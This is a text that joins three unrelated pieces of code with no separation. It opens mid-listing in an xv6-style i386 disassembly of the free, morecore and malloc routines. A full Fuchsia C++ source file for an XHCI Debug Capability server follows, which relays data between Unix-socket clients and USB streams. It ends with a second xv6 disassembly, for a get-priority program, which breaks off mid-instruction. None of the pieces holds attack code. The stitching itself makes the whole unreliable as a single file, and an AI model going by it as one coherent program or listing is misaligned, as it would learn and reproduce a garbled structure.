add %eax,%edx 6cb: 8b 45 fc mov -0x4(%ebp),%eax 6ce: 8b 00 mov (%eax),%eax 6d0: 39 c2 cmp %eax,%edx 6d2: 75 24 jne 6f8 <free+0x8e> bp->s.size += p->s.ptr->s.size; 6d4: 8b 45 f8 mov -0x8(%ebp),%eax 6d7: 8b 50 04 mov 0x4(%eax),%edx 6da: 8b 45 fc mov -0x4(%ebp),%eax 6dd: 8b 00 mov (%eax),%eax 6df: 8b 40 04 mov 0x4(%eax),%eax 6e2: 01 c2 add %eax,%edx 6e4: 8b 45 f8 mov -0x8(%ebp),%eax 6e7: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 6ea: 8b 45 fc mov -0x4(%ebp),%eax 6ed: 8b 00 mov (%eax),%eax 6ef: 8b 10 mov (%eax),%edx 6f1: 8b 45 f8 mov -0x8(%ebp),%eax 6f4: 89 10 mov %edx,(%eax) 6f6: eb 0a jmp 702 <free+0x98> } else bp->s.ptr = p->s.ptr; 6f8: 8b 45 fc mov -0x4(%ebp),%eax 6fb: 8b 10 mov (%eax),%edx 6fd: 8b 45 f8 mov -0x8(%ebp),%eax 700: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 702: 8b 45 fc mov -0x4(%ebp),%eax 705: 8b 40 04 mov 0x4(%eax),%eax 708: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 70f: 8b 45 fc mov -0x4(%ebp),%eax 712: 01 d0 add %edx,%eax 714: 39 45 f8 cmp %eax,-0x8(%ebp) 717: 75 20 jne 739 <free+0xcf> p->s.size += bp->s.size; 719: 8b 45 fc mov -0x4(%ebp),%eax 71c: 8b 50 04 mov 0x4(%eax),%edx 71f: 8b 45 f8 mov -0x8(%ebp),%eax 722: 8b 40 04 mov 0x4(%eax),%eax 725: 01 c2 add %eax,%edx 727: 8b 45 fc mov -0x4(%ebp),%eax 72a: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 72d: 8b 45 f8 mov -0x8(%ebp),%eax 730: 8b 10 mov (%eax),%edx 732: 8b 45 fc mov -0x4(%ebp),%eax 735: 89 10 mov %edx,(%eax) 737: eb 08 jmp 741 <free+0xd7> } else p->s.ptr = bp; 739: 8b 45 fc mov -0x4(%ebp),%eax 73c: 8b 55 f8 mov -0x8(%ebp),%edx 73f: 89 10 mov %edx,(%eax) freep = p; 741: 8b 45 fc mov -0x4(%ebp),%eax 744: a3 48 0b 00 00 mov %eax,0xb48 } 749: 90 nop 74a: c9 leave 74b: c3 ret 0000074c <morecore>: static Header* morecore(uint nu) { 74c: 55 push %ebp 74d: 89 e5 mov %esp,%ebp 74f: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 752: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 759: 77 07 ja 762 <morecore+0x16> nu = 4096; 75b: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 762: 8b 45 08 mov 0x8(%ebp),%eax 765: c1 e0 03 shl $0x3,%eax 768: 83 ec 0c sub $0xc,%esp 76b: 50 push %eax 76c: e8 7d fc ff ff call 3ee <sbrk> 771: 83 c4 10 add $0x10,%esp 774: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 777: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 77b: 75 07 jne 784 <morecore+0x38> return 0; 77d: b8 00 00 00 00 mov $0x0,%eax 782: eb 26 jmp 7aa <morecore+0x5e> hp = (Header*)p; 784: 8b 45 f4 mov -0xc(%ebp),%eax 787: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 78a: 8b 45 f0 mov -0x10(%ebp),%eax 78d: 8b 55 08 mov 0x8(%ebp),%edx 790: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 793: 8b 45 f0 mov -0x10(%ebp),%eax 796: 83 c0 08 add $0x8,%eax 799: 83 ec 0c sub $0xc,%esp 79c: 50 push %eax 79d: e8 c8 fe ff ff call 66a <free> 7a2: 83 c4 10 add $0x10,%esp return freep; 7a5: a1 48 0b 00 00 mov 0xb48,%eax } 7aa: c9 leave 7ab: c3 ret 000007ac <malloc>: void* malloc(uint nbytes) { 7ac: 55 push %ebp 7ad: 89 e5 mov %esp,%ebp 7af: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7b2: 8b 45 08 mov 0x8(%ebp),%eax 7b5: 83 c0 07 add $0x7,%eax 7b8: c1 e8 03 shr $0x3,%eax 7bb: 83 c0 01 add $0x1,%eax 7be: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 7c1: a1 48 0b 00 00 mov 0xb48,%eax 7c6: 89 45 f0 mov %eax,-0x10(%ebp) 7c9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 7cd: 75 23 jne 7f2 <malloc+0x46> base.s.ptr = freep = prevp = &base; 7cf: c7 45 f0 40 0b 00 00 movl $0xb40,-0x10(%ebp) 7d6: 8b 45 f0 mov -0x10(%ebp),%eax 7d9: a3 48 0b 00 00 mov %eax,0xb48 7de: a1 48 0b 00 00 mov 0xb48,%eax 7e3: a3 40 0b 00 00 mov %eax,0xb40 base.s.size = 0; 7e8: c7 05 44 0b 00 00 00 movl $0x0,0xb44 7ef: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7f2: 8b 45 f0 mov -0x10(%ebp),%eax 7f5: 8b 00 mov (%eax),%eax 7f7: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 7fa: 8b 45 f4 mov -0xc(%ebp),%eax 7fd: 8b 40 04 mov 0x4(%eax),%eax 800: 39 45 ec cmp %eax,-0x14(%ebp) 803: 77 4d ja 852 <malloc+0xa6> if(p->s.size == nunits) 805: 8b 45 f4 mov -0xc(%ebp),%eax 808: 8b 40 04 mov 0x4(%eax),%eax 80b: 39 45 ec cmp %eax,-0x14(%ebp) 80e: 75 0c jne 81c <malloc+0x70> prevp->s.ptr = p->s.ptr; 810: 8b 45 f4 mov -0xc(%ebp),%eax 813: 8b 10 mov (%eax),%edx 815: 8b 45 f0 mov -0x10(%ebp),%eax 818: 89 10 mov %edx,(%eax) 81a: eb 26 jmp 842 <malloc+0x96> else { p->s.size -= nunits; 81c: 8b 45 f4 mov -0xc(%ebp),%eax 81f: 8b 40 04 mov 0x4(%eax),%eax 822: 2b 45 ec sub -0x14(%ebp),%eax 825: 89 c2 mov %eax,%edx 827: 8b 45 f4 mov -0xc(%ebp),%eax 82a: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 82d: 8b 45 f4 mov -0xc(%ebp),%eax 830: 8b 40 04 mov 0x4(%eax),%eax 833: c1 e0 03 shl $0x3,%eax 836: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 839: 8b 45 f4 mov -0xc(%ebp),%eax 83c: 8b 55 ec mov -0x14(%ebp),%edx 83f: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 842: 8b 45 f0 mov -0x10(%ebp),%eax 845: a3 48 0b 00 00 mov %eax,0xb48 return (void*)(p + 1); 84a: 8b 45 f4 mov -0xc(%ebp),%eax 84d: 83 c0 08 add $0x8,%eax 850: eb 3b jmp 88d <malloc+0xe1> } if(p == freep) 852: a1 48 0b 00 00 mov 0xb48,%eax 857: 39 45 f4 cmp %eax,-0xc(%ebp) 85a: 75 1e jne 87a <malloc+0xce> if((p = morecore(nunits)) == 0) 85c: 83 ec 0c sub $0xc,%esp 85f: ff 75 ec pushl -0x14(%ebp) 862: e8 e5 fe ff ff call 74c <morecore> 867: 83 c4 10 add $0x10,%esp 86a: 89 45 f4 mov %eax,-0xc(%ebp) 86d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 871: 75 07 jne 87a <malloc+0xce> return 0; 873: b8 00 00 00 00 mov $0x0,%eax 878: eb 13 jmp 88d <malloc+0xe1> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 87a: 8b 45 f4 mov -0xc(%ebp),%eax 87d: 89 45 f0 mov %eax,-0x10(%ebp) 880: 8b 45 f4 mov -0xc(%ebp),%eax 883: 8b 00 mov (%eax),%eax 885: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 888: e9 6d ff ff ff jmp 7fa <malloc+0x4e> } } 88d: c9 leave 88e: c3 ret
// Copyright 2018 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <lib/fit/defer.h> #include <xdc-host-utils/conn.h> #include <xdc-server-utils/msg.h> #include <xdc-server-utils/packet.h> #include <xdc-server-utils/stream.h> #include <cassert> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <signal.h> #include <stdio.h> #include <sys/file.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/un.h> #include <unistd.h> #include "usb-handler.h" #include "xdc-server.h" namespace xdc { static constexpr uint32_t MAX_PENDING_CONN_BACKLOG = 128; static const char* XDC_LOCK_PATH = "/tmp/xdc.lock"; void Client::SetStreamId(uint32_t stream_id) { registered_ = true; stream_id_ = stream_id; } void Client::SetConnected(bool connected) { if (connected == connected_) { fprintf(stderr, "tried to set client with stream id %u as %s again.\n", stream_id(), connected ? "connected" : "disconnected"); return; } printf("client with stream id %u is now %s to the xdc device stream.\n", stream_id(), connected ? "connected" : "disconnected"); connected_ = connected; } bool Client::UpdatePollState(bool usb_writable) { short updated_events = events_; // We want to poll for the client readable signal if: // - The client has not yet registered a stream id, or, // - The xdc stream of the client's id is ready to be written to. if (!stream_id() || (usb_writable && connected())) { updated_events |= POLLIN; } else { updated_events &= ~(POLLIN); } // We need to poll for the client writable signal if we have data to send to the client. if (completed_reads_.size() > 0) { updated_events |= POLLOUT; } else { updated_events &= ~POLLOUT; } if (updated_events != events_) { events_ = updated_events; return true; } return false; } void Client::AddCompletedRead(std::unique_ptr<UsbHandler::Transfer> transfer) { completed_reads_.push_back(std::move(transfer)); } void Client::ProcessCompletedReads(const std::unique_ptr<UsbHandler>& usb_handler) { for (auto iter = completed_reads_.begin(); iter != completed_reads_.end();) { std::unique_ptr<UsbHandler::Transfer>& transfer = *iter; unsigned char* data = transfer->data() + transfer->offset(); ssize_t len_to_write = transfer->actual_length() - transfer->offset(); ssize_t total_written = 0; while (total_written < len_to_write) { ssize_t res = send(fd(), data + total_written, len_to_write - total_written, 0); if (res < 0) { if (errno == EAGAIN) { fprintf(stderr, "can't send completed read to client currently\n"); // Need to wait for client to be writable again. return; } else { fprintf(stderr, "can't write to client, err: %s\n", strerror(errno)); return; } } total_written += res; ssize_t offset = transfer->offset() + res; if (offset < std::numeric_limits<int>::min() || offset > std::numeric_limits<int>::max()) { fprintf(stderr, "offset out of range\n"); exit(-1); } __UNUSED bool set_offset_result = transfer->SetOffset(static_cast<int>(offset)); assert(set_offset_result); } usb_handler->RequeueRead(std::move(transfer)); iter = completed_reads_.erase(iter); } } zx_status_t Client::ProcessWrites(const std::unique_ptr<UsbHandler>& usb_handler) { if (!connected()) { return ZX_ERR_SHOULD_WAIT; } while (true) { if (!pending_write_) { pending_write_ = usb_handler->GetWriteTransfer(); if (!pending_write_) { return ZX_ERR_SHOULD_WAIT; // No transfers currently available. } } // If there is no pending data to transfer, read more from the client. if (!has_write_data()) { // Read from the client into the usb transfer buffer. Leave space for the header. unsigned char* buf = pending_write_->write_data_buffer(); ssize_t n = recv(fd(), buf, UsbHandler::Transfer::MAX_WRITE_DATA_SIZE, 0); if (n == 0) { return ZX_ERR_PEER_CLOSED; } else if (n == EAGAIN) { return ZX_ERR_SHOULD_WAIT; } else if (n < 0) { fprintf(stderr, "recv got unhandled err: %s\n", strerror(errno)); return ZX_ERR_IO; } pending_write_->FillHeader(stream_id(), n); } if (usb_handler->writable()) { pending_write_ = usb_handler->QueueWriteTransfer(std::move(pending_write_)); if (pending_write_) { // Usb handler was busy and returned the write. return ZX_ERR_SHOULD_WAIT; } } else { break; // Usb handler is busy, need to wait for some writes to complete. } } return ZX_ERR_SHOULD_WAIT; } void Client::ReturnTransfers(const std::unique_ptr<UsbHandler>& usb_handler) { for (auto& transfer : completed_reads_) { usb_handler->RequeueRead(std::move(transfer)); } completed_reads_.clear(); if (pending_write_) { usb_handler->ReturnWriteTransfer(std::move(pending_write_)); } } // static std::unique_ptr<XdcServer> XdcServer::Create() { auto conn = std::make_unique<XdcServer>(ConstructorTag{}); if (!conn->Init()) { return nullptr; } return conn; } bool XdcServer::Init() { usb_handler_ = UsbHandler::Create(); if (!usb_handler_) { return false; } socket_fd_.reset(socket(AF_UNIX, SOCK_STREAM, 0)); if (!socket_fd_) { fprintf(stderr, "failed to create socket, err: %s\n", strerror(errno)); return false; } sockaddr_un addr = {}; addr.sun_family = AF_UNIX; strncpy(addr.sun_path, XDC_SOCKET_PATH, sizeof(addr.sun_path)); // Check if another instance of the xdc server is running. socket_lock_fd_.reset(open(XDC_LOCK_PATH, O_CREAT | O_RDONLY, 0666)); if (!socket_lock_fd_) { return false; } int res = flock(socket_lock_fd_.get(), LOCK_EX | LOCK_NB); if (res != 0) { fprintf(stderr, "Failed to acquire socket lock, err: %s.\n", strerror(errno)); return false; } // Remove the socket file if it exists. unlink(XDC_SOCKET_PATH); if (bind(socket_fd_.get(), (sockaddr*)&addr, sizeof(addr)) != 0) { fprintf(stderr, "Could not bind socket with pathname: %s, err: %s\n", XDC_SOCKET_PATH, strerror(errno)); return false; } if (listen(socket_fd_.get(), MAX_PENDING_CONN_BACKLOG) < 0) { fprintf(stderr, "Could not listen on socket fd: %d, err: %s\n", socket_fd_.get(), strerror(errno)); return false; } return true; } void XdcServer::UpdateClientPollEvents() { for (auto iter : clients_) { std::shared_ptr<Client> client = iter.second; bool changed = client->UpdatePollState(usb_handler_->writable()); if (changed) { // We need to update the corresponding file descriptor in the poll_fds_ array // passed to poll. int fd = client->fd(); auto is_fd = [fd](auto& elem) { return elem.fd == fd; }; auto fd_iter = std::find_if(poll_fds_.begin(), poll_fds_.end(), is_fd); if (fd_iter == poll_fds_.end()) { fprintf(stderr, "could not find pollfd for client with fd %d\n", fd); continue; } fd_iter->events = client->events(); } } } void XdcServer::UpdateUsbHandlerFds() { std::map<int, short> added_fds; std::set<int> removed_fds; usb_handler_->GetFdUpdates(added_fds, removed_fds); for (auto iter : added_fds) { int fd = iter.first; short events = iter.second; auto match = std::find_if(poll_fds_.begin(), poll_fds_.end(), [&fd](auto& pollfd) { return pollfd.fd == fd; }); if (match != poll_fds_.end()) { fprintf(stderr, "already have usb handler fd: %d\n", fd); continue; } poll_fds_.push_back(pollfd{fd, events, 0}); printf("usb handler added fd: %d\n", fd); } for (auto fd : removed_fds) { auto match = std::remove_if(poll_fds_.begin(), poll_fds_.end(), [&fd](auto& pollfd) { return pollfd.fd == fd; }); if (match == poll_fds_.end()) { fprintf(stderr, "could not find usb handler fd: %d to delete\n", fd); continue; } poll_fds_.erase(match, poll_fds_.end()); printf("usb handler removed fd: %d\n", fd); } } void XdcServer::Run() { signal(SIGPIPE, SIG_IGN); // Prevent clients from causing SIGPIPE. printf("Waiting for connections on: %s\n", XDC_SOCKET_PATH); // Listen for new client connections. poll_fds_.push_back(pollfd{socket_fd_.get(), POLLIN, 0}); // Initialize to true as we want to get the initial usb handler fds. bool update_usb_handler_fds = true; for (;;) { if (update_usb_handler_fds) { UpdateUsbHandlerFds(); update_usb_handler_fds = false; } // poll expects an array of pollfds. int num = poll(&poll_fds_[0], static_cast<nfds_t>(poll_fds_.size()), -1 /* timeout */); if (num < 0) { fprintf(stderr, "poll failed, err: %s\n", strerror(errno)); break; } // Not using an iterator for poll_fds_ as we might add/remove elements. size_t num_sockets = poll_fds_.size(); size_t i = 0; while (i < num_sockets) { if (poll_fds_[i].fd == socket_fd_.get()) { // A new client is trying to connect. if (poll_fds_[i].revents & POLLIN) { ClientConnect(); // Don't need to increment num_sockets as there aren't poll events for it yet. } } else if (usb_handler_->IsValidFd(poll_fds_[i].fd)) { if (poll_fds_[i].revents) { std::vector<std::unique_ptr<UsbHandler::Transfer>> completed_reads; update_usb_handler_fds = usb_handler_->HandleEvents(completed_reads); SendQueuedCtrlMsgs(); for (auto& usb_transfer : completed_reads) { UsbReadComplete(std::move(usb_transfer)); } } } else { auto iter = clients_.find(poll_fds_[i].fd); if (iter == clients_.end()) { fprintf(stderr, "poll returned an unknown fd: %d\n", poll_fds_[i].fd); poll_fds_.erase(poll_fds_.begin() + i); --num_sockets; continue; } std::shared_ptr<Client> client = iter->second; // Received client disconnect signal. // Only remove the client if the corresponding xdc device stream is offline. // Otherwise the client may still have data buffered to send to the usb handler, // and we will wait until reading from the client returns zero (disconnect). bool delete_client = (poll_fds_[i].revents & POLLHUP) && !client->connected(); // Check if the client had pending data to write, or signalled new data available. bool do_write = client->has_write_data() && usb_handler_->writable() && client->connected(); bool new_data_available = poll_fds_[i].revents & POLLIN; if (!delete_client && (do_write || new_data_available)) { if (!client->registered()) { // Delete the client if registering the stream failed. delete_client = !RegisterStream(client); } if (!delete_client) { zx_status_t status = client->ProcessWrites(usb_handler_); if (status == ZX_ERR_PEER_CLOSED) { delete_client = true; } } } if (delete_client) { client->ReturnTransfers(usb_handler_); // Notify the host server that the stream is now offline. if (client->stream_id()) { NotifyStreamState(client->stream_id(), false /* online */); } poll_fds_.erase(poll_fds_.begin() + i); --num_sockets; printf("fd %d stream %u disconnected\n", client->fd(), client->stream_id()); clients_.erase(iter); continue; } client->ProcessCompletedReads(usb_handler_); } ++i; } UpdateClientPollEvents(); } } void XdcServer::ClientConnect() { struct sockaddr_un addr; socklen_t len = sizeof(addr); // Most of the time we want non-blocking transfers, so we can handle other clients / libusb. int client_fd = accept(socket_fd_.get(), (struct sockaddr*)&addr, &len); if (client_fd < 0) { fprintf(stderr, "Socket accept failed, err: %s\n", strerror(errno)); return; } if (clients_.count(client_fd) > 0) { fprintf(stderr, "Client already connected, socket fd: %d\n", client_fd); return; } int flags = fcntl(client_fd, F_GETFL, 0); if (flags < 0) { fprintf(stderr, "Could not get socket flags, err: %s\n", strerror(errno)); close(client_fd); return; } int res = fcntl(client_fd, F_SETFL, flags | O_NONBLOCK); if (res != 0) { fprintf(stderr, "Could not set socket as nonblocking, err: %s\n", strerror(errno)); close(client_fd); return; } printf("Client connected, socket fd: %d\n", client_fd); clients_[client_fd] = std::make_shared<Client>(client_fd); poll_fds_.push_back(pollfd{client_fd, POLLIN, 0}); } bool XdcServer::RegisterStream(std::shared_ptr<Client> client) { RegisterStreamRequest stream_id; ssize_t n = recv(client->fd(), &stream_id, sizeof(stream_id), MSG_WAITALL); if (n != sizeof(stream_id)) { fprintf(stderr, "failed to read stream id from client fd: %d, got len: %ld, got err: %s\n", client->fd(), n, strerror(errno)); return false; } // Client has disconnected. This will be handled in the main poll thread. if (n == 0) { return false; } RegisterStreamResponse resp = false; if (stream_id == DEBUG_STREAM_ID_RESERVED) { fprintf(stderr, "cannot register stream id %u\n", DEBUG_STREAM_ID_RESERVED); } else if (GetClient(stream_id)) { fprintf(stderr, "stream id %u was already registered\n", stream_id); } else { client->SetStreamId(stream_id); printf("registered stream id %u\n", stream_id); NotifyStreamState(stream_id, true /* online */); if (dev_stream_ids_.count(stream_id)) { client->SetConnected(true); } resp = true; } ssize_t res = send(client->fd(), &resp, sizeof(resp), MSG_WAITALL); if (res != sizeof(resp)) { // Failed to send reply, disconnect the client. return false; } return resp; } std::shared_ptr<Client> XdcServer::GetClient(uint32_t stream_id) { auto is_client = [stream_id](auto& pair) -> bool { return pair.second->stream_id() == stream_id; }; auto iter = std::find_if(clients_.begin(), clients_.end(), is_client); return iter == clients_.end() ? nullptr : iter->second; } void XdcServer::UsbReadComplete(std::unique_ptr<UsbHandler::Transfer> transfer) { auto requeue = fit::defer([&]() { usb_handler_->RequeueRead(std::move(transfer)); }); bool is_new_packet; uint32_t stream_id; zx_status_t status = xdc_update_packet_state(&read_packet_state_, transfer->data(), transfer->actual_length(), &is_new_packet); if (status != ZX_OK) { fprintf(stderr, "error processing transfer: %d, dropping read of size %d\n", status, transfer->actual_length()); } stream_id = read_packet_state_.header.stream_id; if (is_new_packet && stream_id == XDC_MSG_STREAM) { HandleCtrlMsg(transfer->data(), transfer->actual_length()); return; } // Pass the completed transfer to the registered client, if any. auto client = GetClient(stream_id); if (!client) { fprintf(stderr, "No client registered for stream %u, dropping read of size %d\n", stream_id, transfer->actual_length()); return; } // If it is the start of a new packet, the client should begin reading after the header. int offset = is_new_packet ? sizeof(xdc_packet_header_t) : 0; __UNUSED bool set_offset_result = transfer->SetOffset(offset); assert(set_offset_result); client->AddCompletedRead(std::move(transfer)); requeue.cancel(); } void XdcServer::HandleCtrlMsg(unsigned char* transfer_buf, int transfer_len) { int data_len = transfer_len - (int)sizeof(xdc_packet_header_t); if (data_len < (int)sizeof(xdc_msg_t)) { fprintf(stderr, "malformed msg, got %d bytes, need %lu\n", data_len, sizeof(xdc_msg_t)); return; } xdc_msg_t* msg = reinterpret_cast<xdc_msg_t*>(transfer_buf + sizeof(xdc_packet_header_t)); switch (msg->opcode) { case XDC_NOTIFY_STREAM_STATE: { uint32_t stream_id = msg->notify_stream_state.stream_id; bool online = msg->notify_stream_state.online; auto dev_stream = dev_stream_ids_.find(stream_id); bool saved_online_state = dev_stream != dev_stream_ids_.end(); if (online == saved_online_state) { fprintf(stderr, "tried to set stream %u to %s again\n", stream_id, online ? "online" : "offline"); return; } if (online) { dev_stream_ids_.insert(stream_id); } else { dev_stream_ids_.erase(dev_stream); } printf("xdc device stream id %u is now %s\n", stream_id, online ? "online" : "offline"); // Update the host client's connected status. auto client = GetClient(stream_id); if (!client) { break; } client->SetConnected(online); break; } default: fprintf(stderr, "unknown msg opcode: %u\n", msg->opcode); } } void XdcServer::NotifyStreamState(uint32_t stream_id, bool online) { xdc_msg_t msg = {.opcode = XDC_NOTIFY_STREAM_STATE, .notify_stream_state.stream_id = stream_id, .notify_stream_state.online = online}; queued_ctrl_msgs_.push_back(msg); SendQueuedCtrlMsgs(); } bool XdcServer::SendCtrlMsg(xdc_msg_t& msg) { std::unique_ptr<UsbHandler::Transfer> transfer = usb_handler_->GetWriteTransfer(); if (!transfer) { return false; } __UNUSED zx_status_t res = transfer->FillData( DEBUG_STREAM_ID_RESERVED, reinterpret_cast<unsigned char*>(&msg), sizeof(msg)); assert(res == ZX_OK); // Should not fail. transfer = usb_handler_->QueueWriteTransfer(std::move(transfer)); bool queued = !transfer; if (!queued) { usb_handler_->ReturnWriteTransfer(std::move(transfer)); } return queued; } void XdcServer::SendQueuedCtrlMsgs() { auto msgs_iter = queued_ctrl_msgs_.begin(); while (msgs_iter != queued_ctrl_msgs_.end()) { bool sent = SendCtrlMsg(*msgs_iter); if (sent) { msgs_iter = queued_ctrl_msgs_.erase(msgs_iter); } else { // Need to wait. return; } } } } // namespace xdc int main(int argc, char** argv) { printf("Starting XHCI Debug Capability server...\n"); std::unique_ptr<xdc::XdcServer> xdc_server = xdc::XdcServer::Create(); if (!xdc_server) { return -1; } xdc_server->Run(); return 0; }
_get_prio: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "types.h" #include "stat.h" #include "user.h" #include "fcntl.h" int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp getprio(); 11: e8 2c 03 00 00 call 342 <getprio> exit(); 16: e8 57 02 00 00 call 272 <exit> 1b: 66 90 xchg %ax,%ax 1d: 66 90 xchg %ax,%ax 1f: 90 nop 00000020 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 20: 55 push %ebp 21: 89 e5 mov %esp,%ebp 23: 53 push %ebx 24: 8b 45 08 mov 0x8(%ebp),%eax 27: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 2a: 89 c2 mov %eax,%edx 2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 30: 83 c1 01 add $0x1,%ecx 33: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 37: 83 c2 01 add $0x1,%edx 3a: 84 db test %bl,%bl 3c: 88 5a ff mov %bl,-0x1(%edx) 3f: 75 ef jne 30 <strcpy+0x10> ; return os; } 41: 5b pop %ebx 42: 5d pop %ebp 43: c3 ret 44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000050 <strcmp>: int strcmp(const char *p, const char *q) { 50: 55 push %ebp 51: 89 e5 mov %esp,%ebp 53: 53 push %ebx 54: 8b 55 08 mov 0x8(%ebp),%edx 57: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 5a: 0f b6 02 movzbl (%edx),%eax 5d: 0f b6 19 movzbl (%ecx),%ebx 60: 84 c0 test %al,%al 62: 75 1c jne 80 <strcmp+0x30> 64: eb 2a jmp 90 <strcmp+0x40> 66: 8d 76 00 lea 0x0(%esi),%esi 69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 70: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 73: 0f b6 02 movzbl (%edx),%eax p++, q++; 76: 83 c1 01 add $0x1,%ecx 79: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 7c: 84 c0 test %al,%al 7e: 74 10 je 90 <strcmp+0x40> 80: 38 d8 cmp %bl,%al 82: 74 ec je 70 <strcmp+0x20> return (uchar)*p - (uchar)*q; 84: 29 d8 sub %ebx,%eax } 86: 5b pop %ebx 87: 5d pop %ebp 88: c3 ret 89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 90: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 92: 29 d8 sub %ebx,%eax } 94: 5b pop %ebx 95: 5d pop %ebp 96: c3 ret 97: 89 f6 mov %esi,%esi 99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000000a0 <strlen>: uint strlen(const char *s) { a0: 55 push %ebp a1: 89 e5 mov %esp,%ebp a3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) a6: 80 39 00 cmpb $0x0,(%ecx) a9: 74 15 je c0 <strlen+0x20> ab: 31 d2 xor %edx,%edx ad: 8d 76 00 lea 0x0(%esi),%esi b0: 83 c2 01 add $0x1,%edx b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) b7: 89 d0 mov %edx,%eax b9: 75 f5 jne b0 <strlen+0x10> ; return n; } bb: 5d pop %ebp bc: c3 ret bd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) c0: 31 c0 xor %eax,%eax } c2: 5d pop %ebp c3: c3 ret c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000d0 <memset>: void* memset(void *dst, int c, uint n) { d0: 55 push %ebp d1: 89 e5 mov %esp,%ebp d3: 57 push %edi d4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : d7: 8b 4d 10 mov 0x10(%ebp),%ecx da: 8b 45 0c mov 0xc(%ebp),%eax dd: 89 d7 mov %edx,%edi df: fc cld e0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } e2: 89 d0 mov %edx,%eax e4: 5f pop %edi e5: 5d pop %ebp e6: c3 ret e7: 89 f6 mov %esi,%esi e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000000f0 <strchr>: char* strchr(const char *s, char c) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 53 push %ebx f4: 8b 45 08 mov 0x8(%ebp),%eax f7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) fa: 0f b6 10 movzbl (%eax),%edx fd: 84 d2 test %dl,%dl ff: 74 1d je 11e <strchr+0x2e> if(*s == c) 101: 38 d3 cmp %dl,%bl 103: 89 d9 mov %ebx,%ecx 105: 75 0d jne 114 <strchr+0x24> 107: eb 17 jmp 120 <strchr+0x30> 109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 110: 38 ca cmp %cl,%dl 112: 74 0c je 120 <strchr+0x30> for(; *s; s++) 114: 83 c0 01 add $0x1,%eax 117: 0f b6 10 movzbl (%eax),%edx 11a: 84 d2 test %dl,%dl 11c: 75 f2 jne 110 <strchr+0x20> return (char*)s; return 0; 11e: 31 c0 xor %eax,%eax } 120: 5b pop %ebx 121: 5d pop %ebp 122: c3 ret 123: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000130 <gets>: char* gets(char *buf, int max) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 57 push %edi 134: 56 push %esi 135: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 136: 31 f6 xor %esi,%esi 138: 89 f3 mov %esi,%ebx { 13a: 83 ec 1c sub $0x1c,%esp 13d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 140: eb 2f jmp 171 <gets+0x41> 142: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 148: 8d 45 e7 lea -0x19(%ebp),%eax 14b: 83 ec 04 sub $0x4,%esp 14e: 6a 01 push $0x1 150: 50 push %eax 151: 6a 00 push $0x0 153: 